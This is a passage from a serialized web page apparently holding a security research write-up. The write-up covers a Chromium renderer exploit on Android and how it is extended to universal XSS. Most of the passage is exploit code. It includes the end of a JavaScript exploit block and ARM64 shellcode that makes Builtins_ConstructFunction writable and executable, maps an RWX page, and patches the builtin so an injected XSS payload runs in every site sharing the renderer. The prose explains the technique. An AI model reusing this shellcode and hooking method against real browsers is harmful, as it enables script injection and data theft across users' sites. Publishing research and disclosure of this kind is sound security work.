},[139593],{"type":26,"value":139594},"50",{"type":21,"tag":85,"props":139596,"children":139597},{"style":114},[139598],{"type":26,"value":256},{"type":21,"tag":85,"props":139600,"children":139601},{"style":2285},[139602],{"type":26,"value":139603},"162",{"type":21,"tag":85,"props":139605,"children":139606},{"style":114},[139607],{"type":26,"value":256},{"type":21,"tag":85,"props":139609,"children":139610},{"style":2285},[139611],{"type":26,"value":4789},{"type":21,"tag":85,"props":139613,"children":139614},{"style":114},[139615],{"type":26,"value":182},{"type":21,"tag":85,"props":139617,"children":139618},{"class":87,"line":1402},[139619],{"type":21,"tag":85,"props":139620,"children":139621},{"style":114},[139622],{"type":26,"value":134946},{"type":21,"tag":85,"props":139624,"children":139625},{"class":87,"line":3145},[139626,139630,139634,139638,139642,139646,139650,139654,139658,139662,139666],{"type":21,"tag":85,"props":139627,"children":139628},{"style":102},[139629],{"type":26,"value":2206},{"type":21,"tag":85,"props":139631,"children":139632},{"style":120},[139633],{"type":26,"value":136399},{"type":21,"tag":85,"props":139635,"children":139636},{"style":169},[139637],{"type":26,"value":1941},{"type":21,"tag":85,"props":139639,"children":139640},{"style":1021},[139641],{"type":26,"value":136408},{"type":21,"tag":85,"props":139643,"children":139644},{"style":114},[139645],{"type":26,"value":1439},{"type":21,"tag":85,"props":139647,"children":139648},{"style":120},[139649],{"type":26,"value":134277},{"type":21,"tag":85,"props":139651,"children":139652},{"style":114},[139653],{"type":26,"value":256},{"type":21,"tag":85,"props":139655,"children":139656},{"style":120},[139657],{"type":26,"value":125604},{"type":21,"tag":85,"props":139659,"children":139660},{"style":114},[139661],{"type":26,"value":73},{"type":21,"tag":85,"props":139663,"children":139664},{"style":120},[139665],{"type":26,"value":125604},{"type":21,"tag":85,"props":139667,"children":139668},{"style":114},[139669],{"type":26,"value":777},{"type":21,"tag":85,"props":139671,"children":139672},{"class":87,"line":3246},[139673,139677,139681,139685,139689,139693,139697,139701,139705,139709],{"type":21,"tag":85,"props":139674,"children":139675},{"style":120},[139676],{"type":26,"value":136444},{"type":21,"tag":85,"props":139678,"children":139679},{"style":169},[139680],{"type":26,"value":1941},{"type":21,"tag":85,"props":139682,"children":139683},{"style":114},[139684],{"type":26,"value":717},{"type":21,"tag":85,"props":139686,"children":139687},{"style":2885},[139688],{"type":26,"value":33362},{"type":21,"tag":85,"props":139690,"children":139691},{"style":120},[139692],{"type":26,"value":136399},{"type":21,"tag":85,"props":139694,"children":139695},{"style":114},[139696],{"type":26,"value":73},{"type":21,"tag":85,"props":139698,"children":139699},{"style":1021},[139700],{"type":26,"value":58022},{"type":21,"tag":85,"props":139702,"children":139703},{"style":114},[139704],{"type":26,"value":136473},{"type":21,"tag":85,"props":139706,"children":139707},{"style":120},[139708],{"type":26,"value":39600},{"type":21,"tag":85,"props":139710,"children":139711},{"style":114},[139712],{"type":26,"value":2535},{"type":21,"tag":85,"props":139714,"children":139715},{"class":87,"line":3255},[139716,139720,139724,139728,139732,139737,139741,139745],{"type":21,"tag":85,"props":139717,"children":139718},{"style":120},[139719],{"type":26,"value":102406},{"type":21,"tag":85,"props":139721,"children":139722},{"style":114},[139723],{"type":26,"value":73},{"type":21,"tag":85,"props":139725,"children":139726},{"style":1021},[139727],{"type":26,"value":102415},{"type":21,"tag":85,"props":139729,"children":139730},{"style":114},[139731],{"type":26,"value":1439},{"type":21,"tag":85,"props":139733,"children":139734},{"style":5026},[139735],{"type":26,"value":139736},"'DeserializeWasmModule result: '",{"type":21,"tag":85,"props":139738,"children":139739},{"style":169},[139740],{"type":26,"value":3274},{"type":21,"tag":85,"props":139742,"children":139743},{"style":120},[139744],{"type":26,"value":3541},{"type":21,"tag":85,"props":139746,"children":139747},{"style":114},[139748],{"type":26,"value":777},{"type":21,"tag":85,"props":139750,"children":139751},{"class":87,"line":3286},[139752,139756,139760,139764,139768,139772,139776,139780,139784,139788],{"type":21,"tag":85,"props":139753,"children":139754},{"style":102},[139755],{"type":26,"value":36636},{"type":21,"tag":85,"props":139757,"children":139758},{"style":120},[139759],{"type":26,"value":136493},{"type":21,"tag":85,"props":139761,"children":139762},{"style":169},[139763],{"type":26,"value":1941},{"type":21,"tag":85,"props":139765,"children":139766},{"style":102},[139767],{"type":26,"value":32378},{"type":21,"tag":85,"props":139769,"children":139770},{"style":120},[139771],{"type":26,"value":134260},{"type":21,"tag":85,"props":139773,"children":139774},{"style":114},[139775],{"type":26,"value":73},{"type":21,"tag":85,"props":139777,"children":139778},{"style":1021},[139779],{"type":26,"value":134314},{"type":21,"tag":85,"props":139781,"children":139782},{"style":114},[139783],{"type":26,"value":1439},{"type":21,"tag":85,"props":139785,"children":139786},{"style":120},[139787],{"type":26,"value":3463},{"type":21,"tag":85,"props":139789,"children":139790},{"style":114},[139791],{"type":26,"value":777},{"type":21,"tag":85,"props":139793,"children":139794},{"class":87,"line":3295},[139795,139799,139803,139807,139811,139815,139819,139823,139827],{"type":21,"tag":85,"props":139796,"children":139797},{"style":102},[139798],{"type":26,"value":36636},{"type":21,"tag":85,"props":139800,"children":139801},{"style":120},[139802],{"type":26,"value":33417},{"type":21,"tag":85,"props":139804,"children":139805},{"style":169},[139806],{"type":26,"value":1941},{"type":21,"tag":85,"props":139808,"children":139809},{"style":120},[139810],{"type":26,"value":136493},{"type":21,"tag":85,"props":139812,"children":139813},{"style":114},[139814],{"type":26,"value":73},{"type":21,"tag":85,"props":139816,"children":139817},{"style":120},[139818],{"type":26,"value":38334},{"type":21,"tag":85,"props":139820,"children":139821},{"style":114},[139822],{"type":26,"value":73},{"type":21,"tag":85,"props":139824,"children":139825},{"style":120},[139826],{"type":26,"value":134363},{"type":21,"tag":85,"props":139828,"children":139829},{"style":114},[139830],{"type":26,"value":2535},{"type":21,"tag":85,"props":139832,"children":139833},{"class":87,"line":3308},[139834,139838,139842,139846,139850,139854],{"type":21,"tag":85,"props":139835,"children":139836},{"style":120},[139837],{"type":26,"value":102406},{"type":21,"tag":85,"props":139839,"children":139840},{"style":114},[139841],{"type":26,"value":73},{"type":21,"tag":85,"props":139843,"children":139844},{"style":1021},[139845],{"type":26,"value":102415},{"type":21,"tag":85,"props":139847,"children":139848},{"style":114},[139849],{"type":26,"value":1439},{"type":21,"tag":85,"props":139851,"children":139852},{"style":120},[139853],{"type":26,"value":33531},{"type":21,"tag":85,"props":139855,"children":139856},{"style":114},[139857],{"type":26,"value":777},{"type":21,"tag":85,"props":139859,"children":139860},{"class":87,"line":3333},[139861],{"type":21,"tag":85,"props":139862,"children":139863},{"style":114},[139864],{"type":26,"value":102447},{"type":21,"tag":22,"props":139866,"children":139867},{},[139868],{"type":26,"value":139869},"And this time, it works as expected:",{"type":21,"tag":22,"props":139871,"children":139872},{},[139873],{"type":21,"tag":4681,"props":139874,"children":139877},{"alt":139875,"src":139876},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":21,"tag":10022,"props":139879,"children":139881},{"id":139880},"achieving-universal-xss",[139882],{"type":26,"value":139883},"Achieving Universal XSS",{"type":21,"tag":22,"props":139885,"children":139886},{},[139887,139889,139895,139897,139904],{"type":26,"value":139888},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":21,"tag":335,"props":139890,"children":139893},{"href":139891,"rel":139892},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[339],[139894],{"type":26,"value":70791},{"type":26,"value":139896}," from Tencent Security and ",{"type":21,"tag":335,"props":139898,"children":139901},{"href":139899,"rel":139900},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[339],[139902],{"type":26,"value":139903},"research article",{"type":26,"value":139905}," from InterruptLabs.",{"type":21,"tag":22,"props":139907,"children":139908},{},[139909,139911,139918],{"type":26,"value":139910},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":21,"tag":335,"props":139912,"children":139915},{"href":139913,"rel":139914},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[339],[139916],{"type":26,"value":139917},"weaker version",{"type":26,"value":139919}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":21,"tag":22,"props":139921,"children":139922},{},[139923,139925,139931],{"type":26,"value":139924},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":21,"tag":66,"props":139926,"children":139928},{"className":139927},[],[139929],{"type":26,"value":139930},"Builtins_ConstructFunction",{"type":26,"value":139932},", making it a natural target.",{"type":21,"tag":22,"props":139934,"children":139935},{},[139936,139938,139943],{"type":26,"value":139937},"Our goal is for ",{"type":21,"tag":66,"props":139939,"children":139941},{"className":139940},[],[139942],{"type":26,"value":139930},{"type":26,"value":139944}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":21,"tag":17108,"props":139946,"children":139947},{},[139948,139953,139963],{"type":21,"tag":845,"props":139949,"children":139950},{},[139951],{"type":26,"value":139952},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":21,"tag":845,"props":139954,"children":139955},{},[139956,139958],{"type":26,"value":139957},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":21,"tag":66,"props":139959,"children":139961},{"className":139960},[],[139962],{"type":26,"value":139930},{"type":21,"tag":845,"props":139964,"children":139965},{},[139966,139968,139973],{"type":26,"value":139967},"The mmap-ed shellcode then returns to the beginning of ",{"type":21,"tag":66,"props":139969,"children":139971},{"className":139970},[],[139972],{"type":26,"value":139930},{"type":26,"value":139974},", which now proceeds normally",{"type":21,"tag":22,"props":139976,"children":139977},{},[139978],{"type":26,"value":139979},"The ARM64 shellcode implementing this looks as follows:",{"type":21,"tag":75,"props":139981,"children":139985},{"code":139982,"language":139983,"meta":7,"className":139984,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[139986],{"type":21,"tag":66,"props":139987,"children":139988},{"__ignoreMap":7},[139989,139997,140005,140013,140021,140028,140036,140044,140052,140060,140067,140075,140083,140091,140099,140107,140114,140122,140130,140138,140146,140154,140162,140169,140177,140184,140192,140200,140208,140215,140223,140231,140239,140247,140254,140261,140268,140275,140283,140291,140299,140306,140314,140322,140329,140337,140345,140353,140360,140368,140376,140384,140392,140399,140406,140414],{"type":21,"tag":85,"props":139990,"children":139991},{"class":87,"line":88},[139992],{"type":21,"tag":85,"props":139993,"children":139994},{},[139995],{"type":26,"value":139996},"// get return addr to x0\n",{"type":21,"tag":85,"props":139998,"children":139999},{"class":87,"line":98},[140000],{"type":21,"tag":85,"props":140001,"children":140002},{},[140003],{"type":26,"value":140004},"ldr x0, [sp, #0x18]\n",{"type":21,"tag":85,"props":140006,"children":140007},{"class":87,"line":151},[140008],{"type":21,"tag":85,"props":140009,"children":140010},{},[140011],{"type":26,"value":140012},"// strip pac signature from return address\n",{"type":21,"tag":85,"props":140014,"children":140015},{"class":87,"line":160},[140016],{"type":21,"tag":85,"props":140017,"children":140018},{},[140019],{"type":26,"value":140020},".arch armv8.3-a; xpaci x0\n",{"type":21,"tag":85,"props":140022,"children":140023},{"class":87,"line":185},[140024],{"type":21,"tag":85,"props":140025,"children":140026},{"emptyLinePlaceholder":16},[140027],{"type":26,"value":703},{"type":21,"tag":85,"props":140029,"children":140030},{"class":87,"line":501},[140031],{"type":21,"tag":85,"props":140032,"children":140033},{},[140034],{"type":26,"value":140035},"// store x5 = Builtins_ConstructFunction\n",{"type":21,"tag":85,"props":140037,"children":140038},{"class":87,"line":697},[140039],{"type":21,"tag":85,"props":140040,"children":140041},{},[140042],{"type":26,"value":140043},"movz x1, #0x610c\n",{"type":21,"tag":85,"props":140045,"children":140046},{"class":87,"line":706},[140047],{"type":21,"tag":85,"props":140048,"children":140049},{},[140050],{"type":26,"value":140051},"sub x0, x0, x1\n",{"type":21,"tag":85,"props":140053,"children":140054},{"class":87,"line":1100},[140055],{"type":21,"tag":85,"props":140056,"children":140057},{},[140058],{"type":26,"value":140059},"mov x5, x0\n",{"type":21,"tag":85,"props":140061,"children":140062},{"class":87,"line":1339},[140063],{"type":21,"tag":85,"props":140064,"children":140065},{"emptyLinePlaceholder":16},[140066],{"type":26,"value":703},{"type":21,"tag":85,"props":140068,"children":140069},{"class":87,"line":1348},[140070],{"type":21,"tag":85,"props":140071,"children":140072},{},[140073],{"type":26,"value":140074},"// store x4 = page aligned ConstructFunction\n",{"type":21,"tag":85,"props":140076,"children":140077},{"class":87,"line":1386},[140078],{"type":21,"tag":85,"props":140079,"children":140080},{},[140081],{"type":26,"value":140082},"movz x1, #0xf000\n",{"type":21,"tag":85,"props":140084,"children":140085},{"class":87,"line":1394},[140086],{"type":21,"tag":85,"props":140087,"children":140088},{},[140089],{"type":26,"value":140090},"movk x1, #0xffff, lsl #16\n",{"type":21,"tag":85,"props":140092,"children":140093},{"class":87,"line":1402},[140094],{"type":21,"tag":85,"props":140095,"children":140096},{},[140097],{"type":26,"value":140098},"movk x1, #0xffff, lsl #32\n",{"type":21,"tag":85,"props":140100,"children":140101},{"class":87,"line":3145},[140102],{"type":21,"tag":85,"props":140103,"children":140104},{},[140105],{"type":26,"value":140106},"and x4, x5, x1\n",{"type":21,"tag":85,"props":140108,"children":140109},{"class":87,"line":3246},[140110],{"type":21,"tag":85,"props":140111,"children":140112},{"emptyLinePlaceholder":16},[140113],{"type":26,"value":703},{"type":21,"tag":85,"props":140115,"children":140116},{"class":87,"line":3255},[140117],{"type":21,"tag":85,"props":140118,"children":140119},{},[140120],{"type":26,"value":140121},"// mprotect page aligned ConstructFunction RWX\n",{"type":21,"tag":85,"props":140123,"children":140124},{"class":87,"line":3286},[140125],{"type":21,"tag":85,"props":140126,"children":140127},{},[140128],{"type":26,"value":140129},"mov x0, x4\n",{"type":21,"tag":85,"props":140131,"children":140132},{"class":87,"line":3295},[140133],{"type":21,"tag":85,"props":140134,"children":140135},{},[140136],{"type":26,"value":140137},"mov x1, #0x2000\n",{"type":21,"tag":85,"props":140139,"children":140140},{"class":87,"line":3308},[140141],{"type":21,"tag":85,"props":140142,"children":140143},{},[140144],{"type":26,"value":140145},"mov x2, #0x7\n",{"type":21,"tag":85,"props":140147,"children":140148},{"class":87,"line":3333},[140149],{"type":21,"tag":85,"props":140150,"children":140151},{},[140152],{"type":26,"value":140153},"mov x8, #226\n",{"type":21,"tag":85,"props":140155,"children":140156},{"class":87,"line":3369},[140157],{"type":21,"tag":85,"props":140158,"children":140159},{},[140160],{"type":26,"value":140161},"svc #0\n",{"type":21,"tag":85,"props":140163,"children":140164},{"class":87,"line":3377},[140165],{"type":21,"tag":85,"props":140166,"children":140167},{"emptyLinePlaceholder":16},[140168],{"type":26,"value":703},{"type":21,"tag":85,"props":140170,"children":140171},{"class":87,"line":3386},[140172],{"type":21,"tag":85,"props":140173,"children":140174},{},[140175],{"type":26,"value":140176},"mov x6, x5\n",{"type":21,"tag":85,"props":140178,"children":140179},{"class":87,"line":3394},[140180],{"type":21,"tag":85,"props":140181,"children":140182},{"emptyLinePlaceholder":16},[140183],{"type":26,"value":703},{"type":21,"tag":85,"props":140185,"children":140186},{"class":87,"line":3410},[140187],{"type":21,"tag":85,"props":140188,"children":140189},{},[140190],{"type":26,"value":140191},"// mmap RWX for jump dest (uxss_sc)\n",{"type":21,"tag":85,"props":140193,"children":140194},{"class":87,"line":3427},[140195],{"type":21,"tag":85,"props":140196,"children":140197},{},[140198],{"type":26,"value":140199},"mov x0, #0\n",{"type":21,"tag":85,"props":140201,"children":140202},{"class":87,"line":3445},[140203],{"type":21,"tag":85,"props":140204,"children":140205},{},[140206],{"type":26,"value":140207},"mov x1, #0x1000\n",{"type":21,"tag":85,"props":140209,"children":140210},{"class":87,"line":3490},[140211],{"type":21,"tag":85,"props":140212,"children":140213},{},[140214],{"type":26,"value":140145},{"type":21,"tag":85,"props":140216,"children":140217},{"class":87,"line":3596},[140218],{"type":21,"tag":85,"props":140219,"children":140220},{},[140221],{"type":26,"value":140222},"mov x3, #34\n",{"type":21,"tag":85,"props":140224,"children":140225},{"class":87,"line":23938},[140226],{"type":21,"tag":85,"props":140227,"children":140228},{},[140229],{"type":26,"value":140230},"mov x4, #-1\n",{"type":21,"tag":85,"props":140232,"children":140233},{"class":87,"line":23973},[140234],{"type":21,"tag":85,"props":140235,"children":140236},{},[140237],{"type":26,"value":140238},"mov x5, #0\n",{"type":21,"tag":85,"props":140240,"children":140241},{"class":87,"line":23981},[140242],{"type":21,"tag":85,"props":140243,"children":140244},{},[140245],{"type":26,"value":140246},"mov x8, #222\n",{"type":21,"tag":85,"props":140248,"children":140249},{"class":87,"line":23989},[140250],{"type":21,"tag":85,"props":140251,"children":140252},{},[140253],{"type":26,"value":140161},{"type":21,"tag":85,"props":140255,"children":140256},{"class":87,"line":23998},[140257],{"type":21,"tag":85,"props":140258,"children":140259},{"emptyLinePlaceholder":16},[140260],{"type":26,"value":703},{"type":21,"tag":85,"props":140262,"children":140263},{"class":87,"line":24040},[140264],{"type":21,"tag":85,"props":140265,"children":140266},{},[140267],{"type":26,"value":140059},{"type":21,"tag":85,"props":140269,"children":140270},{"class":87,"line":24073},[140271],{"type":21,"tag":85,"props":140272,"children":140273},{"emptyLinePlaceholder":16},[140274],{"type":26,"value":703},{"type":21,"tag":85,"props":140276,"children":140277},{"class":87,"line":24081},[140278],{"type":21,"tag":85,"props":140279,"children":140280},{},[140281],{"type":26,"value":140282},"// at this point:\n",{"type":21,"tag":85,"props":140284,"children":140285},{"class":87,"line":24089},[140286],{"type":21,"tag":85,"props":140287,"children":140288},{},[140289],{"type":26,"value":140290},"// x6 = Builtins_ConstructFunction\n",{"type":21,"tag":85,"props":140292,"children":140293},{"class":87,"line":24098},[140294],{"type":21,"tag":85,"props":140295,"children":140296},{},[140297],{"type":26,"value":140298},"// x5 = mmap page for uxss_sc\n",{"type":21,"tag":85,"props":140300,"children":140301},{"class":87,"line":24174},[140302],{"type":21,"tag":85,"props":140303,"children":140304},{"emptyLinePlaceholder":16},[140305],{"type":26,"value":703},{"type":21,"tag":85,"props":140307,"children":140308},{"class":87,"line":24207},[140309],{"type":21,"tag":85,"props":140310,"children":140311},{},[140312],{"type":26,"value":140313},"// write uxss_sc to mmaped rwx page\n",{"type":21,"tag":85,"props":140315,"children":140316},{"class":87,"line":24215},[140317],{"type":21,"tag":85,"props":140318,"children":140319},{},[140320],{"type":26,"value":140321},"{write_sc(uxss_sc, \"x5\")}\n",{"type":21,"tag":85,"props":140323,"children":140324},{"class":87,"line":24223},[140325],{"type":21,"tag":85,"props":140326,"children":140327},{"emptyLinePlaceholder":16},[140328],{"type":26,"value":703},{"type":21,"tag":85,"props":140330,"children":140331},{"class":87,"line":24260},[140332],{"type":21,"tag":85,"props":140333,"children":140334},{},[140335],{"type":26,"value":140336},"// wipe from cache\n",{"type":21,"tag":85,"props":140338,"children":140339},{"class":87,"line":24273},[140340],{"type":21,"tag":85,"props":140341,"children":140342},{},[140343],{"type":26,"value":140344},"mov x0, x5\n",{"type":21,"tag":85,"props":140346,"children":140347},{"class":87,"line":24286},[140348],{"type":21,"tag":85,"props":140349,"children":140350},{},[140351],{"type":26,"value":140352},"{WIPE_CACHE}\n",{"type":21,"tag":85,"props":140354,"children":140355},{"class":87,"line":24299},[140356],{"type":21,"tag":85,"props":140357,"children":140358},{"emptyLinePlaceholder":16},[140359],{"type":26,"value":703},{"type":21,"tag":85,"props":140361,"children":140362},{"class":87,"line":24353},[140363],{"type":21,"tag":85,"props":140364,"children":140365},{},[140366],{"type":26,"value":140367},"// patch Builtins_ConstructFunction\n",{"type":21,"tag":85,"props":140369,"children":140370},{"class":87,"line":24362},[140371],{"type":21,"tag":85,"props":140372,"children":140373},{},[140374],{"type":26,"value":140375},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":21,"tag":85,"props":140377,"children":140378},{"class":87,"line":32726},[140379],{"type":21,"tag":85,"props":140380,"children":140381},{},[140382],{"type":26,"value":140383},"// and add a pointer to uxss_sc just above new instructions\n",{"type":21,"tag":85,"props":140385,"children":140386},{"class":87,"line":32747},[140387],{"type":21,"tag":85,"props":140388,"children":140389},{},[140390],{"type":26,"value":140391},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":21,"tag":85,"props":140393,"children":140394},{"class":87,"line":81413},[140395],{"type":21,"tag":85,"props":140396,"children":140397},{"emptyLinePlaceholder":16},[140398],{"type":26,"value":703},{"type":21,"tag":85,"props":140400,"children":140401},{"class":87,"line":81426},[140402],{"type":21,"tag":85,"props":140403,"children":140404},{},[140405],{"type":26,"value":140336},{"type":21,"tag":85,"props":140407,"children":140408},{"class":87,"line":81434},[140409],{"type":21,"tag":85,"props":140410,"children":140411},{},[140412],{"type":26,"value":140413},"mov x0, x6\n",{"type":21,"tag":85,"props":140415,"children":140416},{"class":87,"line":81442},[140417],{"type":21,"tag":85,"props":140418,"children":140419},{},[140420],{"type":26,"value":140352},{"type":21,"tag":22,"props":140422,"children":140423},{},[140424,140426,140432,140434,140439,140441,140447],{"type":26,"value":140425},"In the snippet above, ",{"type":21,"tag":66,"props":140427,"children":140429},{"className":140428},[],[140430],{"type":26,"value":140431},"new_compile_instrs",{"type":26,"value":140433}," refers to the instructions written to the beginning of ",{"type":21,"tag":66,"props":140435,"children":140437},{"className":140436},[],[140438],{"type":26,"value":139930},{"type":26,"value":140440}," that invoke the ",{"type":21,"tag":66,"props":140442,"children":140444},{"className":140443},[],[140445],{"type":26,"value":140446},"uxss_sc",{"type":26,"value":140448}," mmap-ed shellcode:",{"type":21,"tag":75,"props":140450,"children":140452},{"code":140451,"language":139983,"meta":7,"className":139984,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[140453],{"type":21,"tag":66,"props":140454,"children":140455},{"__ignoreMap":7},[140456,140464,140471,140479,140487,140494,140502,140510,140517,140525,140533,140540,140548],{"type":21,"tag":85,"props":140457,"children":140458},{"class":87,"line":88},[140459],{"type":21,"tag":85,"props":140460,"children":140461},{},[140462],{"type":26,"value":140463},"bti c\n",{"type":21,"tag":85,"props":140465,"children":140466},{"class":87,"line":98},[140467],{"type":21,"tag":85,"props":140468,"children":140469},{"emptyLinePlaceholder":16},[140470],{"type":26,"value":703},{"type":21,"tag":85,"props":140472,"children":140473},{"class":87,"line":151},[140474],{"type":21,"tag":85,"props":140475,"children":140476},{},[140477],{"type":26,"value":140478},"// store registers that will be overwritten\n",{"type":21,"tag":85,"props":140480,"children":140481},{"class":87,"line":160},[140482],{"type":21,"tag":85,"props":140483,"children":140484},{},[140485],{"type":26,"value":140486},"stp x15, lr, [sp, #-16]!\n",{"type":21,"tag":85,"props":140488,"children":140489},{"class":87,"line":185},[140490],{"type":21,"tag":85,"props":140491,"children":140492},{"emptyLinePlaceholder":16},[140493],{"type":26,"value":703},{"type":21,"tag":85,"props":140495,"children":140496},{"class":87,"line":501},[140497],{"type":21,"tag":85,"props":140498,"children":140499},{},[140500],{"type":26,"value":140501},"// get current rip into x15\n",{"type":21,"tag":85,"props":140503,"children":140504},{"class":87,"line":697},[140505],{"type":21,"tag":85,"props":140506,"children":140507},{},[140508],{"type":26,"value":140509},"adr x15, .\n",{"type":21,"tag":85,"props":140511,"children":140512},{"class":87,"line":706},[140513],{"type":21,"tag":85,"props":140514,"children":140515},{"emptyLinePlaceholder":16},[140516],{"type":26,"value":703},{"type":21,"tag":85,"props":140518,"children":140519},{"class":87,"line":1100},[140520],{"type":21,"tag":85,"props":140521,"children":140522},{},[140523],{"type":26,"value":140524},"// load the uxss_sc pointer saved just above new instructions\n",{"type":21,"tag":85,"props":140526,"children":140527},{"class":87,"line":1339},[140528],{"type":21,"tag":85,"props":140529,"children":140530},{},[140531],{"type":26,"value":140532},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":21,"tag":85,"props":140534,"children":140535},{"class":87,"line":1348},[140536],{"type":21,"tag":85,"props":140537,"children":140538},{"emptyLinePlaceholder":16},[140539],{"type":26,"value":703},{"type":21,"tag":85,"props":140541,"children":140542},{"class":87,"line":1386},[140543],{"type":21,"tag":85,"props":140544,"children":140545},{},[140546],{"type":26,"value":140547},"// jump to uxss_sc\n",{"type":21,"tag":85,"props":140549,"children":140550},{"class":87,"line":1394},[140551],{"type":21,"tag":85,"props":140552,"children":140553},{},[140554],{"type":26,"value":140555},"blr x15\n",{"type":21,"tag":22,"props":140557,"children":140558},{},[140559,140564,140566,140571],{"type":21,"tag":66,"props":140560,"children":140562},{"className":140561},[],[140563],{"type":26,"value":140446},{"type":26,"value":140565}," is the mmap-ed shellcode invoked by the patched ",{"type":21,"tag":66,"props":140567,"children":140569},{"className":140568},[],[140570],{"type":26,"value":139930},{"type":26,"value":140572}," to execute our XSS payload. Its prologue looks like this:",{"type":21,"tag":75,"props":140574,"children":140576},{"code":140575,"language":139983,"meta":7,"className":139984,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[140577],{"type":21,"tag":66,"props":140578,"children":140579},{"__ignoreMap":7},[140580,140587,140594,140602,140610,140618,140626,140634,140642,140650,140658,140666,140674,140682,140690,140698,140706,140714,140722],{"type":21,"tag":85,"props":140581,"children":140582},{"class":87,"line":88},[140583],{"type":21,"tag":85,"props":140584,"children":140585},{},[140586],{"type":26,"value":140463},{"type":21,"tag":85,"props":140588,"children":140589},{"class":87,"line":98},[140590],{"type":21,"tag":85,"props":140591,"children":140592},{"emptyLinePlaceholder":16},[140593],{"type":26,"value":703},{"type":21,"tag":85,"props":140595,"children":140596},{"class":87,"line":151},[140597],{"type":21,"tag":85,"props":140598,"children":140599},{},[140600],{"type":26,"value":140601},"// Save full register context\n",{"type":21,"tag":85,"props":140603,"children":140604},{"class":87,"line":160},[140605],{"type":21,"tag":85,"props":140606,"children":140607},{},[140608],{"type":26,"value":140609},"stp x0,  x1,  [sp, #-16]!\n",{"type":21,"tag":85,"props":140611,"children":140612},{"class":87,"line":185},[140613],{"type":21,"tag":85,"props":140614,"children":140615},{},[140616],{"type":26,"value":140617},"stp x2,  x3,  [sp, #-16]!\n",{"type":21,"tag":85,"props":140619,"children":140620},{"class":87,"line":501},[140621],{"type":21,"tag":85,"props":140622,"children":140623},{},[140624],{"type":26,"value":140625},"stp x4,  x5,  [sp, #-16]!\n",{"type":21,"tag":85,"props":140627,"children":140628},{"class":87,"line":697},[140629],{"type":21,"tag":85,"props":140630,"children":140631},{},[140632],{"type":26,"value":140633},"stp x6,  x7,  [sp, #-16]!\n",{"type":21,"tag":85,"props":140635,"children":140636},{"class":87,"line":706},[140637],{"type":21,"tag":85,"props":140638,"children":140639},{},[140640],{"type":26,"value":140641},"stp x8,  x9,  [sp, #-16]!\n",{"type":21,"tag":85,"props":140643,"children":140644},{"class":87,"line":1100},[140645],{"type":21,"tag":85,"props":140646,"children":140647},{},[140648],{"type":26,"value":140649},"stp x10, x11, [sp, #-16]!\n",{"type":21,"tag":85,"props":140651,"children":140652},{"class":87,"line":1339},[140653],{"type":21,"tag":85,"props":140654,"children":140655},{},[140656],{"type":26,"value":140657},"stp x12, x13, [sp, #-16]!\n",{"type":21,"tag":85,"props":140659,"children":140660},{"class":87,"line":1348},[140661],{"type":21,"tag":85,"props":140662,"children":140663},{},[140664],{"type":26,"value":140665},"stp x14, x15, [sp, 